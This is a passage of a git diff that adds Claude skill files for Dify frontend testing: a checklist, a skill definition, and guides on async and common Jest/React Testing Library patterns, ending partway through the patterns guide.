diff --git a/.claude/skills/frontend-testing/CHECKLIST.md b/.claude/skills/frontend-testing/CHECKLIST.md
new file mode 100644
index 0000000000..b960067264
--- /dev/null
+++ b/.claude/skills/frontend-testing/CHECKLIST.md
@@ -0,0 +1,205 @@
+# Test Generation Checklist
+
+Use this checklist when generating or reviewing tests for Dify frontend components.
+
+## Pre-Generation
+
+- [ ] Read the component source code completely
+- [ ] Identify component type (component, hook, utility, page)
+- [ ] Run `pnpm analyze-component <path>` if available
+- [ ] Note complexity score and features detected
+- [ ] Check for existing tests in the same directory
+- [ ] **Identify ALL files in the directory** that need testing (not just index)
+
+## Testing Strategy
+
+### ⚠️ Incremental Workflow (CRITICAL for Multi-File)
+
+- [ ] **NEVER generate all tests at once** - process one file at a time
+- [ ] Order files by complexity: utilities → hooks → simple → complex → integration
+- [ ] Create a todo list to track progress before starting
+- [ ] For EACH file: write → run test → verify pass → then next
+- [ ] **DO NOT proceed** to next file until current one passes
+
+### Path-Level Coverage
+
+- [ ] **Test ALL files** in the assigned directory/path
+- [ ] List all components, hooks, utilities that need coverage
+- [ ] Decide: single spec file (integration) or multiple spec files (unit)
+
+### Complexity Assessment
+
+- [ ] Run `pnpm analyze-component <path>` for complexity score
+- [ ] **Complexity > 50**: Consider refactoring before testing
+- [ ] **500+ lines**: Consider splitting before testing
+- [ ] **30-50 complexity**: Use multiple describe blocks, organized structure
+
+### Integration vs Mocking
+
+- [ ] **DO NOT mock base components** (`Loading`, `Button`, `Tooltip`, etc.)
+- [ ] Import real project components instead of mocking
+- [ ] Only mock: API calls, complex context providers, third-party libs with side effects
+- [ ] Prefer integration testing when using single spec file
+
+## Required Test Sections
+
+### All Components MUST Have
+
+- [ ] **Rendering tests** - Component renders without crashing
+- [ ] **Props tests** - Required props, optional props, default values
+- [ ] **Edge cases** - null, undefined, empty values, boundaries
+
+### Conditional Sections (Add When Feature Present)
+
+| Feature | Add Tests For |
+|---------|---------------|
+| `useState` | Initial state, transitions, cleanup |
+| `useEffect` | Execution, dependencies, cleanup |
+| Event handlers | onClick, onChange, onSubmit, keyboard |
+| API calls | Loading, success, error states |
+| Routing | Navigation, params, query strings |
+| `useCallback`/`useMemo` | Referential equality |
+| Context | Provider values, consumer behavior |
+| Forms | Validation, submission, error display |
+
+## Code Quality Checklist
+
+### Structure
+
+- [ ] Uses `describe` blocks to group related tests
+- [ ] Test names follow `should <behavior> when <condition>` pattern
+- [ ] AAA pattern (Arrange-Act-Assert) is clear
+- [ ] Comments explain complex test scenarios
+
+### Mocks
+
+- [ ] **DO NOT mock base components** (`@/app/components/base/*`)
+- [ ] `jest.clearAllMocks()` in `beforeEach` (not `afterEach`)
+- [ ] Shared mock state reset in `beforeEach`
+- [ ] i18n uses shared mock (auto-loaded); only override locally for custom translations
+- [ ] Router mocks match actual Next.js API
+- [ ] Mocks reflect actual component conditional behavior
+- [ ] Only mock: API services, complex context providers, third-party libs
+
+### Queries
+
+- [ ] Prefer semantic queries (`getByRole`, `getByLabelText`)
+- [ ] Use `queryBy*` for absence assertions
+- [ ] Use `findBy*` for async elements
+- [ ] `getByTestId` only as last resort
+
+### Async
+
+- [ ] All async tests use `async/await`
+- [ ] `waitFor` wraps async assertions
+- [ ] Fake timers properly setup/teardown
+- [ ] No floating promises
+
+### TypeScript
+
+- [ ] No `any` types without justification
+- [ ] Mock data uses actual types from source
+- [ ] Factory functions have proper return types
+
+## Coverage Goals (Per File)
+
+For the current file being tested:
+
+- [ ] 100% function coverage
+- [ ] 100% statement coverage
+- [ ] >95% branch coverage
+- [ ] >95% line coverage
+
+## Post-Generation (Per File)
+
+**Run these checks after EACH test file, not just at the end:**
+
+- [ ] Run `pnpm test -- path/to/file.spec.tsx` - **MUST PASS before next file**
+- [ ] Fix any failures immediately
+- [ ] Mark file as complete in todo list
+- [ ] Only then proceed to next file
+
+### After All Files Complete
+
+- [ ] Run full directory test: `pnpm test -- path/to/directory/`
+- [ ] Check coverage report: `pnpm test -- --coverage`
+- [ ] Run `pnpm lint:fix` on all test files
+- [ ] Run `pnpm type-check:tsgo`
+
+## Common Issues to Watch
+
+### False Positives
+
+```typescript
+// ❌ Mock doesn't match actual behavior
+jest.mock('./Component', () => () => <div>Mocked</div>)
+
+// ✅ Mock matches actual conditional logic
+jest.mock('./Component', () => ({ isOpen }: any) =>
+  isOpen ? <div>Content</div> : null
+)
+```
+
+### State Leakage
+
+```typescript
+// ❌ Shared state not reset
+let mockState = false
+jest.mock('./useHook', () => () => mockState)
+
+// ✅ Reset in beforeEach
+beforeEach(() => {
+  mockState = false
+})
+```
+
+### Async Race Conditions
+
+```typescript
+// ❌ Not awaited
+it('loads data', () => {
+  render(<Component />)
+  expect(screen.getByText('Data')).toBeInTheDocument()
+})
+
+// ✅ Properly awaited
+it('loads data', async () => {
+  render(<Component />)
+  await waitFor(() => {
+    expect(screen.getByText('Data')).toBeInTheDocument()
+  })
+})
+```
+
+### Missing Edge Cases
+
+Always test these scenarios:
+
+- `null` / `undefined` inputs
+- Empty strings / arrays / objects
+- Boundary values (0, -1, MAX_INT)
+- Error states
+- Loading states
+- Disabled states
+
+## Quick Commands
+
+```bash
+# Run specific test
+pnpm test -- path/to/file.spec.tsx
+
+# Run with coverage
+pnpm test -- --coverage path/to/file.spec.tsx
+
+# Watch mode
+pnpm test -- --watch path/to/file.spec.tsx
+
+# Update snapshots (use sparingly)
+pnpm test -- -u path/to/file.spec.tsx
+
+# Analyze component
+pnpm analyze-component path/to/component.tsx
+
+# Review existing test
+pnpm analyze-component path/to/component.tsx --review
+```
diff --git a/.claude/skills/frontend-testing/SKILL.md b/.claude/skills/frontend-testing/SKILL.md
new file mode 100644
index 0000000000..06cb672141
--- /dev/null
+++ b/.claude/skills/frontend-testing/SKILL.md
@@ -0,0 +1,321 @@
+---
+name: Dify Frontend Testing
+description: Generate Jest + React Testing Library tests for Dify frontend components, hooks, and utilities. Triggers on testing, spec files, coverage, Jest, RTL, unit tests, integration tests, or write/review test requests.
+---
+
+# Dify Frontend Testing Skill
+
+This skill enables Claude to generate high-quality, comprehensive frontend tests for the Dify project following established conventions and best practices.
+
+> **⚠️ Authoritative Source**: This skill is derived from `web/testing/testing.md`. When in doubt, always refer to that document as the canonical specification.
+
+## When to Apply This Skill
+
+Apply this skill when the user:
+
+- Asks to **write tests** for a component, hook, or utility
+- Asks to **review existing tests** for completeness
+- Mentions **Jest**, **React Testing Library**, **RTL**, or **spec files**
+- Requests **test coverage** improvement
+- Uses `pnpm analyze-component` output as context
+- Mentions **testing**, **unit tests**, or **integration tests** for frontend code
+- Wants to understand **testing patterns** in the Dify codebase
+
+**Do NOT apply** when:
+
+- User is asking about backend/API tests (Python/pytest)
+- User is asking about E2E tests (Playwright/Cypress)
+- User is only asking conceptual questions without code context
+
+## Quick Reference
+
+### Tech Stack
+
+| Tool | Version | Purpose |
+|------|---------|---------|
+| Jest | 29.7 | Test runner |
+| React Testing Library | 16.0 | Component testing |
+| happy-dom | - | Test environment |
+| nock | 14.0 | HTTP mocking |
+| TypeScript | 5.x | Type safety |
+
+### Key Commands
+
+```bash
+# Run all tests
+pnpm test
+
+# Watch mode
+pnpm test -- --watch
+
+# Run specific file
+pnpm test -- path/to/file.spec.tsx
+
+# Generate coverage report
+pnpm test -- --coverage
+
+# Analyze component complexity
+pnpm analyze-component <path>
+
+# Review existing test
+pnpm analyze-component <path> --review
+```
+
+### File Naming
+
+- Test files: `ComponentName.spec.tsx` (same directory as component)
+- Integration tests: `web/__tests__/` directory
+
+## Test Structure Template
+
+```typescript
+import { render, screen, fireEvent, waitFor } from '@testing-library/react'
+import Component from './index'
+
+// ✅ Import real project components (DO NOT mock these)
+// import Loading from '@/app/components/base/loading'
+// import { ChildComponent } from './child-component'
+
+// ✅ Mock external dependencies only
+jest.mock('@/service/api')
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({ push: jest.fn() }),
+  usePathname: () => '/test',
+}))
+
+// Shared state for mocks (if needed)
+let mockSharedState = false
+
+describe('ComponentName', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()  // ✅ Reset mocks BEFORE each test
+    mockSharedState = false  // ✅ Reset shared state
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = { title: 'Test' }
+      
+      // Act
+      render(<Component {...props} />)
+      
+      // Assert
+      expect(screen.getByText('Test')).toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should apply custom className', () => {
+      render(<Component className="custom" />)
+      expect(screen.getByRole('button')).toHaveClass('custom')
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should handle click events', () => {
+      const handleClick = jest.fn()
+      render(<Component onClick={handleClick} />)
+      
+      fireEvent.click(screen.getByRole('button'))
+      
+      expect(handleClick).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle null data', () => {
+      render(<Component data={null} />)
+      expect(screen.getByText(/no data/i)).toBeInTheDocument()
+    })
+
+    it('should handle empty array', () => {
+      render(<Component items={[]} />)
+      expect(screen.getByText(/empty/i)).toBeInTheDocument()
+    })
+  })
+})
+```
+
+## Testing Workflow (CRITICAL)
+
+### ⚠️ Incremental Approach Required
+
+**NEVER generate all test files at once.** For complex components or multi-file directories:
+
+1. **Analyze & Plan**: List all files, order by complexity (simple → complex)
+1. **Process ONE at a time**: Write test → Run test → Fix if needed → Next
+1. **Verify before proceeding**: Do NOT continue to next file until current passes
+
+```
+For each file:
+  ┌────────────────────────────────────────┐
+  │ 1. Write test                          │
+  │ 2. Run: pnpm test -- <file>.spec.tsx   │
+  │ 3. PASS? → Mark complete, next file    │
+  │    FAIL? → Fix first, then continue    │
+  └────────────────────────────────────────┘
+```
+
+### Complexity-Based Order
+
+Process in this order for multi-file testing:
+
+1. 🟢 Utility functions (simplest)
+1. 🟢 Custom hooks
+1. 🟡 Simple components (presentational)
+1. 🟡 Medium components (state, effects)
+1. 🔴 Complex components (API, routing)
+1. 🔴 Integration tests (index files - last)
+
+### When to Refactor First
+
+- **Complexity > 50**: Break into smaller pieces before testing
+- **500+ lines**: Consider splitting before testing
+- **Many dependencies**: Extract logic into hooks first
+
+> 📖 See `guides/workflow.md` for complete workflow details and todo list format.
+
+## Testing Strategy
+
+### Path-Level Testing (Directory Testing)
+
+When assigned to test a directory/path, test **ALL content** within that path:
+
+- Test all components, hooks, utilities in the directory (not just `index` file)
+- Use incremental approach: one file at a time, verify each before proceeding
+- Goal: 100% coverage of ALL files in the directory
+
+### Integration Testing First
+
+**Prefer integration testing** when writing tests for a directory:
+
+- ✅ **Import real project components** directly (including base components and siblings)
+- ✅ **Only mock**: API services (`@/service/*`), `next/navigation`, complex context providers
+- ❌ **DO NOT mock** base components (`@/app/components/base/*`)
+- ❌ **DO NOT mock** sibling/child components in the same directory
+
+> See [Test Structure Template](#test-structure-template) for correct import/mock patterns.
+
+## Core Principles
+
+### 1. AAA Pattern (Arrange-Act-Assert)
+
+Every test should clearly separate:
+
+- **Arrange**: Setup test data and render component
+- **Act**: Perform user actions
+- **Assert**: Verify expected outcomes
+
+### 2. Black-Box Testing
+
+- Test observable behavior, not implementation details
+- Use semantic queries (getByRole, getByLabelText)
+- Avoid testing internal state directly
+- **Prefer pattern matching over hardcoded strings** in assertions:
+
+```typescript
+// ❌ Avoid: hardcoded text assertions
+expect(screen.getByText('Loading...')).toBeInTheDocument()
+
+// ✅ Better: role-based queries
+expect(screen.getByRole('status')).toBeInTheDocument()
+
+// ✅ Better: pattern matching
+expect(screen.getByText(/loading/i)).toBeInTheDocument()
+```
+
+### 3. Single Behavior Per Test
+
+Each test verifies ONE user-observable behavior:
+
+```typescript
+// ✅ Good: One behavior
+it('should disable button when loading', () => {
+  render(<Button loading />)
+  expect(screen.getByRole('button')).toBeDisabled()
+})
+
+// ❌ Bad: Multiple behaviors
+it('should handle loading state', () => {
+  render(<Button loading />)
+  expect(screen.getByRole('button')).toBeDisabled()
+  expect(screen.getByText('Loading...')).toBeInTheDocument()
+  expect(screen.getByRole('button')).toHaveClass('loading')
+})
+```
+
+### 4. Semantic Naming
+
+Use `should <behavior> when <condition>`:
+
+```typescript
+it('should show error message when validation fails')
+it('should call onSubmit when form is valid')
+it('should disable input when isReadOnly is true')
+```
+
+## Required Test Scenarios
+
+### Always Required (All Components)
+
+1. **Rendering**: Component renders without crashing
+1. **Props**: Required props, optional props, default values
+1. **Edge Cases**: null, undefined, empty values, boundary conditions
+
+### Conditional (When Present)
+
+| Feature | Test Focus |
+|---------|-----------|
+| `useState` | Initial state, transitions, cleanup |
+| `useEffect` | Execution, dependencies, cleanup |
+| Event handlers | All onClick, onChange, onSubmit, keyboard |
+| API calls | Loading, success, error states |
+| Routing | Navigation, params, query strings |
+| `useCallback`/`useMemo` | Referential equality |
+| Context | Provider values, consumer behavior |
+| Forms | Validation, submission, error display |
+
+## Coverage Goals (Per File)
+
+For each test file generated, aim for:
+
+- ✅ **100%** function coverage
+- ✅ **100%** statement coverage
+- ✅ **>95%** branch coverage
+- ✅ **>95%** line coverage
+
+> **Note**: For multi-file directories, process one file at a time with full coverage each. See `guides/workflow.md`.
+
+## Detailed Guides
+
+For more detailed information, refer to:
+
+- `guides/workflow.md` - **Incremental testing workflow** (MUST READ for multi-file testing)
+- `guides/mocking.md` - Mock patterns and best practices
+- `guides/async-testing.md` - Async operations and API calls
+- `guides/domain-components.md` - Workflow, Dataset, Configuration testing
+- `guides/common-patterns.md` - Frequently used testing patterns
+
+## Authoritative References
+
+### Primary Specification (MUST follow)
+
+- **`web/testing/testing.md`** - The canonical testing specification. This skill is derived from this document.
+
+### Reference Examples in Codebase
+
+- `web/utils/classnames.spec.ts` - Utility function tests
+- `web/app/components/base/button/index.spec.tsx` - Component tests
+- `web/__mocks__/provider-context.ts` - Mock factory example
+
+### Project Configuration
+
+- `web/jest.config.ts` - Jest configuration
+- `web/jest.setup.ts` - Test environment setup
+- `web/testing/analyze-component.js` - Component analysis tool
+- `web/__mocks__/react-i18next.ts` - Shared i18n mock (auto-loaded by Jest, no explicit mock needed; override locally only for custom translations)
diff --git a/.claude/skills/frontend-testing/guides/async-testing.md b/.claude/skills/frontend-testing/guides/async-testing.md
new file mode 100644
index 0000000000..f9912debbf
--- /dev/null
+++ b/.claude/skills/frontend-testing/guides/async-testing.md
@@ -0,0 +1,345 @@
+# Async Testing Guide
+
+## Core Async Patterns
+
+### 1. waitFor - Wait for Condition
+
+```typescript
+import { render, screen, waitFor } from '@testing-library/react'
+
+it('should load and display data', async () => {
+  render(<DataComponent />)
+  
+  // Wait for element to appear
+  await waitFor(() => {
+    expect(screen.getByText('Loaded Data')).toBeInTheDocument()
+  })
+})
+
+it('should hide loading spinner after load', async () => {
+  render(<DataComponent />)
+  
+  // Wait for element to disappear
+  await waitFor(() => {
+    expect(screen.queryByText('Loading...')).not.toBeInTheDocument()
+  })
+})
+```
+
+### 2. findBy\* - Async Queries
+
+```typescript
+it('should show user name after fetch', async () => {
+  render(<UserProfile />)
+  
+  // findBy returns a promise, auto-waits up to 1000ms
+  const userName = await screen.findByText('John Doe')
+  expect(userName).toBeInTheDocument()
+  
+  // findByRole with options
+  const button = await screen.findByRole('button', { name: /submit/i })
+  expect(button).toBeEnabled()
+})
+```
+
+### 3. userEvent for Async Interactions
+
+```typescript
+import userEvent from '@testing-library/user-event'
+
+it('should submit form', async () => {
+  const user = userEvent.setup()
+  const onSubmit = jest.fn()
+  
+  render(<Form onSubmit={onSubmit} />)
+  
+  // userEvent methods are async
+  await user.type(screen.getByLabelText('Email'), 'test@example.com')
+  await user.click(screen.getByRole('button', { name: /submit/i }))
+  
+  await waitFor(() => {
+    expect(onSubmit).toHaveBeenCalledWith({ email: 'test@example.com' })
+  })
+})
+```
+
+## Fake Timers
+
+### When to Use Fake Timers
+
+- Testing components with `setTimeout`/`setInterval`
+- Testing debounce/throttle behavior
+- Testing animations or delayed transitions
+- Testing polling or retry logic
+
+### Basic Fake Timer Setup
+
+```typescript
+describe('Debounced Search', () => {
+  beforeEach(() => {
+    jest.useFakeTimers()
+  })
+
+  afterEach(() => {
+    jest.useRealTimers()
+  })
+
+  it('should debounce search input', async () => {
+    const onSearch = jest.fn()
+    render(<SearchInput onSearch={onSearch} debounceMs={300} />)
+    
+    // Type in the input
+    fireEvent.change(screen.getByRole('textbox'), { target: { value: 'query' } })
+    
+    // Search not called immediately
+    expect(onSearch).not.toHaveBeenCalled()
+    
+    // Advance timers
+    jest.advanceTimersByTime(300)
+    
+    // Now search is called
+    expect(onSearch).toHaveBeenCalledWith('query')
+  })
+})
+```
+
+### Fake Timers with Async Code
+
+```typescript
+it('should retry on failure', async () => {
+  jest.useFakeTimers()
+  const fetchData = jest.fn()
+    .mockRejectedValueOnce(new Error('Network error'))
+    .mockResolvedValueOnce({ data: 'success' })
+  
+  render(<RetryComponent fetchData={fetchData} retryDelayMs={1000} />)
+  
+  // First call fails
+  await waitFor(() => {
+    expect(fetchData).toHaveBeenCalledTimes(1)
+  })
+  
+  // Advance timer for retry
+  jest.advanceTimersByTime(1000)
+  
+  // Second call succeeds
+  await waitFor(() => {
+    expect(fetchData).toHaveBeenCalledTimes(2)
+    expect(screen.getByText('success')).toBeInTheDocument()
+  })
+  
+  jest.useRealTimers()
+})
+```
+
+### Common Fake Timer Utilities
+
+```typescript
+// Run all pending timers
+jest.runAllTimers()
+
+// Run only pending timers (not new ones created during execution)
+jest.runOnlyPendingTimers()
+
+// Advance by specific time
+jest.advanceTimersByTime(1000)
+
+// Get current fake time
+jest.now()
+
+// Clear all timers
+jest.clearAllTimers()
+```
+
+## API Testing Patterns
+
+### Loading → Success → Error States
+
+```typescript
+describe('DataFetcher', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  it('should show loading state', () => {
+    mockedApi.fetchData.mockImplementation(() => new Promise(() => {})) // Never resolves
+    
+    render(<DataFetcher />)
+    
+    expect(screen.getByTestId('loading-spinner')).toBeInTheDocument()
+  })
+
+  it('should show data on success', async () => {
+    mockedApi.fetchData.mockResolvedValue({ items: ['Item 1', 'Item 2'] })
+    
+    render(<DataFetcher />)
+    
+    // Use findBy* for multiple async elements (better error messages than waitFor with multiple assertions)
+    const item1 = await screen.findByText('Item 1')
+    const item2 = await screen.findByText('Item 2')
+    expect(item1).toBeInTheDocument()
+    expect(item2).toBeInTheDocument()
+    
+    expect(screen.queryByTestId('loading-spinner')).not.toBeInTheDocument()
+  })
+
+  it('should show error on failure', async () => {
+    mockedApi.fetchData.mockRejectedValue(new Error('Failed to fetch'))
+    
+    render(<DataFetcher />)
+    
+    await waitFor(() => {
+      expect(screen.getByText(/failed to fetch/i)).toBeInTheDocument()
+    })
+  })
+
+  it('should retry on error', async () => {
+    mockedApi.fetchData.mockRejectedValue(new Error('Network error'))
+    
+    render(<DataFetcher />)
+    
+    await waitFor(() => {
+      expect(screen.getByRole('button', { name: /retry/i })).toBeInTheDocument()
+    })
+    
+    mockedApi.fetchData.mockResolvedValue({ items: ['Item 1'] })
+    fireEvent.click(screen.getByRole('button', { name: /retry/i }))
+    
+    await waitFor(() => {
+      expect(screen.getByText('Item 1')).toBeInTheDocument()
+    })
+  })
+})
+```
+
+### Testing Mutations
+
+```typescript
+it('should submit form and show success', async () => {
+  const user = userEvent.setup()
+  mockedApi.createItem.mockResolvedValue({ id: '1', name: 'New Item' })
+  
+  render(<CreateItemForm />)
+  
+  await user.type(screen.getByLabelText('Name'), 'New Item')
+  await user.click(screen.getByRole('button', { name: /create/i }))
+  
+  // Button should be disabled during submission
+  expect(screen.getByRole('button', { name: /creating/i })).toBeDisabled()
+  
+  await waitFor(() => {
+    expect(screen.getByText(/created successfully/i)).toBeInTheDocument()
+  })
+  
+  expect(mockedApi.createItem).toHaveBeenCalledWith({ name: 'New Item' })
+})
+```
+
+## useEffect Testing
+
+### Testing Effect Execution
+
+```typescript
+it('should fetch data on mount', async () => {
+  const fetchData = jest.fn().mockResolvedValue({ data: 'test' })
+  
+  render(<ComponentWithEffect fetchData={fetchData} />)
+  
+  await waitFor(() => {
+    expect(fetchData).toHaveBeenCalledTimes(1)
+  })
+})
+```
+
+### Testing Effect Dependencies
+
+```typescript
+it('should refetch when id changes', async () => {
+  const fetchData = jest.fn().mockResolvedValue({ data: 'test' })
+  
+  const { rerender } = render(<ComponentWithEffect id="1" fetchData={fetchData} />)
+  
+  await waitFor(() => {
+    expect(fetchData).toHaveBeenCalledWith('1')
+  })
+  
+  rerender(<ComponentWithEffect id="2" fetchData={fetchData} />)
+  
+  await waitFor(() => {
+    expect(fetchData).toHaveBeenCalledWith('2')
+    expect(fetchData).toHaveBeenCalledTimes(2)
+  })
+})
+```
+
+### Testing Effect Cleanup
+
+```typescript
+it('should cleanup subscription on unmount', () => {
+  const subscribe = jest.fn()
+  const unsubscribe = jest.fn()
+  subscribe.mockReturnValue(unsubscribe)
+  
+  const { unmount } = render(<SubscriptionComponent subscribe={subscribe} />)
+  
+  expect(subscribe).toHaveBeenCalledTimes(1)
+  
+  unmount()
+  
+  expect(unsubscribe).toHaveBeenCalledTimes(1)
+})
+```
+
+## Common Async Pitfalls
+
+### ❌ Don't: Forget to await
+
+```typescript
+// Bad - test may pass even if assertion fails
+it('should load data', () => {
+  render(<Component />)
+  waitFor(() => {
+    expect(screen.getByText('Data')).toBeInTheDocument()
+  })
+})
+
+// Good - properly awaited
+it('should load data', async () => {
+  render(<Component />)
+  await waitFor(() => {
+    expect(screen.getByText('Data')).toBeInTheDocument()
+  })
+})
+```
+
+### ❌ Don't: Use multiple assertions in single waitFor
+
+```typescript
+// Bad - if first assertion fails, won't know about second
+await waitFor(() => {
+  expect(screen.getByText('Title')).toBeInTheDocument()
+  expect(screen.getByText('Description')).toBeInTheDocument()
+})
+
+// Good - separate waitFor or use findBy
+const title = await screen.findByText('Title')
+const description = await screen.findByText('Description')
+expect(title).toBeInTheDocument()
+expect(description).toBeInTheDocument()
+```
+
+### ❌ Don't: Mix fake timers with real async
+
+```typescript
+// Bad - fake timers don't work well with real Promises
+jest.useFakeTimers()
+await waitFor(() => {
+  expect(screen.getByText('Data')).toBeInTheDocument()
+}) // May timeout!
+
+// Good - use runAllTimers or advanceTimersByTime
+jest.useFakeTimers()
+render(<Component />)
+jest.runAllTimers()
+expect(screen.getByText('Data')).toBeInTheDocument()
+```
diff --git a/.claude/skills/frontend-testing/guides/common-patterns.md b/.claude/skills/frontend-testing/guides/common-patterns.md
new file mode 100644
index 0000000000..84a6045b04
--- /dev/null
+++ b/.claude/skills/frontend-testing/guides/common-patterns.md
@@ -0,0 +1,449 @@
+# Common Testing Patterns
+
+## Query Priority
+
+Use queries in this order (most to least preferred):
+
+```typescript
+// 1. getByRole - Most recommended (accessibility)
+screen.getByRole('button', { name: /submit/i })
+screen.getByRole('textbox', { name: /email/i })
+screen.getByRole('heading', { level: 1 })
+
+// 2. getByLabelText - Form fields
+screen.getByLabelText('Email address')
+screen.getByLabelText(/password/i)
+
+// 3. getByPlaceholderText - When no label
+screen.getByPlaceholderText('Search...')
+
+// 4. getByText - Non-interactive elements
+screen.getByText('Welcome to Dify')
+screen.getByText(/loading/i)
+
+// 5. getByDisplayValue - Current input value
+screen.getByDisplayValue('current value')
+
+// 6. getByAltText - Images
+screen.getByAltText('Company logo')
+
+// 7. getByTitle - Tooltip elements
+screen.getByTitle('Close')
+
+// 8. getByTestId - Last resort only!
+screen.getByTestId('custom-element')
+```
+
+## Event Handling Patterns
+
+### Click Events
+
+```typescript
+// Basic click
+fireEvent.click(screen.getByRole('button'))
+
+// With userEvent (preferred for realistic interaction)
+const user = userEvent.setup()
+await user.click(screen.getByRole('button'))
+
+// Double click
+await user.dblClick(screen.getByRole('button'))
+
+// Right click
+await user.pointer({ keys: '[MouseRight]', target: screen.getByRole('button') })
+```
+
+### Form Input
+
+```typescript
+const user = userEvent.setup()
+
+// Type in input
+await user.type(screen.getByRole('textbox'), 'Hello World')
+
+// Clear and type
+await user.clear(screen.getByRole('textbox'))
+await user.type(screen.getByRole('textbox'), 'New value')
+
+// Select option
+await user.selectOptions(screen.getByRole('combobox'), 'option-value')
+
+// Check checkbox
+await user.click(screen.getByRole('checkbox'))
+
+// Upload file
+const file = new File(['content'], 'test.pdf', { type: 'application/pdf' })
+await user.upload(screen.getByLabelText(/upload/i), file)
+```
+
+### Keyboard Events
+
+```typescript
+const user = userEvent.setup()
+
+// Press Enter
+await user.keyboard('{Enter}')
+
+// Press Escape
+await user.keyboard('{Escape}')
+
+// Keyboard shortcut
+await user.keyboard('{Control>}a{/Control}') // Ctrl+A
+
+// Tab navigation
+await user.tab()
+
+// Arrow keys
+await user.keyboard('{ArrowDown}')
+await user.keyboard('{ArrowUp}')
+```
+
+## Component State Testing
+
+### Testing State Transitions
+
+```typescript
+describe('Counter', () => {
+  it('should increment count', async () => {
+    const user = userEvent.setup()
+    render(<Counter initialCount={0} />)
+    
+    // Initial state
+    expect(screen.getByText('Count: 0')).toBeInTheDocument()
+    
+    // Trigger transition
+    await user.click(screen.getByRole('button', { name: /increment/i }))
+    
+    // New state
+    expect(screen.getByText('Count: 1')).toBeInTheDocument()
+  })
+})
+```
+
+### Testing Controlled Components
+
+```typescript
+describe('ControlledInput', () => {
+  it('should call onChange with new value', async () => {
+    const user = userEvent.setup()
+    const handleChange = jest.fn()
+    
+    render(<ControlledInput value="" onChange={handleChange} />)
+    
+    await user.type(screen.getByRole('textbox'), 'a')
+    
+    expect(handleChange).toHaveBeenCalledWith('a')
+  })
+
+  it('should display controlled value', () => {
+    render(<ControlledInput value="controlled" onChange={jest.fn()} />)
+    
+    expect(screen.getByRole('textbox')).toHaveValue('controlled')
+  })
+})
+```
+
+## Conditional Rendering Testing
+
+```typescript
+describe('ConditionalComponent', () => {
+  it('should show loading state', () => {
+    render(<DataDisplay isLoading={true} data={null} />)
+    
+    expect(screen.getByText(/loading/i)).toBeInTheDocument()
+    expect(screen.queryByTestId('data-content')).not.toBeInTheDocument()
+  })
+
+  it('should show error state', () => {
+    render(<DataDisplay isLoading={false} data={null} error="Failed to load" />)
+    
+    expect(screen.getByText(/failed to load/i)).toBeInTheDocument()
+  })
+
+  it('should show data when loaded', () => {
+    render(<DataDisplay isLoading={false} data={{ name: 'Test' }} />)
+    
+    expect(screen.getByText('Test')).toBeInTheDocument()
+  })
+
+  it('should show empty state when no data', () => {
+    render(<DataDisplay isLoading={false} data={[]} />)
+    
+    expect(screen.getByText(/no data/i)).toBeInTheDocument()
+  })
+})
+```
+
+## List Rendering Testing
+
+```typescript
+describe('ItemList', () => {
+  const items = [
+    { id: '1', name: 'Item 1' },
+    { id: '2', name: 'Item 2' },
+    { id: '3', name: 'Item 3' },
+  ]
+
+  it('should render all items', () => {
+    render(<ItemList items={items} />)
+    
+    expect(screen.getAllByRole('listitem')).toHaveLength(3)
+    items.forEach(item => {
+      expect(screen.getByText(item.name)).toBeInTheDocument()
+    })
+  })
+
+  it('should handle item selection', async () => {
+    const user = userEvent.setup()
+    const onSelect = jest.fn()
+    
+    render(<ItemList items={items} onSelect={onSelect} />)
+    
+    await user.click(screen.getByText('Item 2'))
+    
+    expect(onSelect).toHaveBeenCalledWith(items[1])
+  })
+
+  it('should handle empty list', () => {
+    render(<ItemList items={[]} />)
+    
+    expect(screen.getByText(/no items/i)).toBeInTheDocument()
+  })
+})
+```
+
+## Modal/Dialog Testing
+
+```typescript
+describe('Modal', () => {
+  it('should not render when closed', () => {
+    render(<Modal isOpen={false} onClose={jest.fn()} />)
+    
+    expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
+  })
+
+  it('should render when open', () => {
+    render(<Modal isOpen={true} onClose={jest.fn()} />)
+    
+    expect(screen.getByRole('dialog')).toBeInTheDocument()
+  })
+
+  it('should call onClose when clicking overlay', async () => {
+    const user = userEvent.setup()
+    const handleClose = jest.fn()
+    
+    render(<Modal isOpen={true} onClose={handleClose} />)
+    
+    await user.click(screen.getByTestId('modal-overlay'))
+    
+    expect(handleClose).toHaveBeenCalled()
+  })
+
+  it('should call onClose when pressing Escape', async () => {
+    const user = userEvent.setup()
+    const handleClose = jest.fn()
+    
+    render(<Modal isOpen={true} onClose={handleClose} />)
+    
+    await user.keyboard('{Escape}')
+    
+    expect(handleClose).toHaveBeenCalled()
+  })
+
+  it('should trap focus inside modal', async () => {
+    const user = userEvent.setup()
+    
+    render(
+      <Modal isOpen={true} onClose={jest.fn()}>
+        <button>First</button>
+        <button>Second</button>
+      </Modal>
+    )
+    
+    // Focus should cycle within modal
+    await user.tab()
+    expect(screen.getByText('First')).toHaveFocus()
+    
+    await user.tab()
+    expect(screen.getByText('Second')).toHaveFocus()
+    
+    await user.tab()
+    expect(screen.getByText('First')).toHaveFocus() // Cycles back
+  })
+})
+```
+
+## Form Testing
+
+```typescript
+describe('LoginForm', () => {
+  it('should submit valid form', async () => {
+    const user = userEvent.setup()
+    const onSubmit = jest.fn()
+    
+    render(<LoginForm onSubmit={onSubmit} />)
+    
+    await user.type(screen.getByLabelText(/email/i), 'test@example.com')
+    await user.type(screen.getByLabelText(/password/i), 'password123')
+    await user.click(screen.getByRole('button', { name: /sign in/i }))
+    
+    expect(onSubmit).toHaveBeenCalledWith({
+      email: 'test@example.com',
+      password: 'password123',
+    })
+  })
+
+  it('should show validation errors', async () => {
+    const user = userEvent.setup()
+    
+    render(<LoginForm onSubmit={jest.fn()} />)
+    
+    // Submit empty form
+    await user.click(screen.getByRole('button', { name: /sign in/i }))
+    
+    expect(screen.getByText(/email is required/i)).toBeInTheDocument()
